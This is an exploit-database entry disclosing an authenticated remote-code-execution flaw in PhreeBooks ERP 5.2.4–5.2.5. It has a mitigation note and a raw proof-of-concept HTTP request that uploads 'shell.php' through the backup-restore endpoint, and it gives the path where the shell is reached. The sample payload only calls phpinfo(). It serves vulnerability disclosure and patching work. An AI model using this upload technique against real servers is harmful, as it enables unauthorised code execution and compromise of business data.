header-logo
Suggest Exploit
vendor:
PhreeBooks ERP
by:
Besim ALTINOK
9.8
CVSS
HIGH
Remote Command Execution
78
CWE
Product Name: PhreeBooks ERP
Affected Version From: v5.2.4
Affected Version To: v5.2.5
Patch Exists: YES
Related CWE: N/A
CPE: 2.3:a:phreesoft:phreebooks_erp:5.2.5
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Xampp
2020

PhreeBooks ERP 5.2.5 – Remote Command Execution

There are no file extension controls on Image Manager (5.2.4) and on Backup Restore. If an authorized user is obtained, it is possible to run a malicious PHP file on the server.

Mitigation:

Enforce file extension control on Image Manager and Backup Restore.
Source

Exploit-DB raw data:

# Exploit Title: PhreeBooks ERP 5.2.5 - Remote Command Execution
# Date: 2020-05-01
# Author: Besim ALTINOK
# Vendor Homepage: https://www.phreesoft.com/
# Software Link: https://sourceforge.net/projects/phreebooks/
# Version: v5.2.4, v5.2.5
# Tested on: Xampp
# Credit: İsmail BOZKURT

-------------------------------------------------------------------------------------

There are no file extension controls on Image Manager (5.2.4) and on Backup
Restore. If an authorized user is obtained, it is possible to run a
malicious PHP file on the server.
--------------------------------------------------------------------------------------

One of the Vulnerable File: (backup.php)
-----------------------------------------

RCE PoC (Upload Process)
--------------------------------------------------------------------------------------

POST /pblast/index.php?&p=bizuno/backup/uploadRestore HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 *********************
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/pblast/index.php?&p=bizuno/backup/managerRestore
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------39525038724866743160620170
Content-Length: 231
DNT: 1
Connection: close
Cookie: **************************************************

-----------------------------39525038724866743160620170
Content-Disposition: form-data; name="fldFile"; filename="shell.php"
Content-Type: text/php

<? phpinfo(); ?>

-----------------------------39525038724866743160620170--



Shell directory:
-------------------------------
- http://localhost/pblast/myFiles/backups/shell.php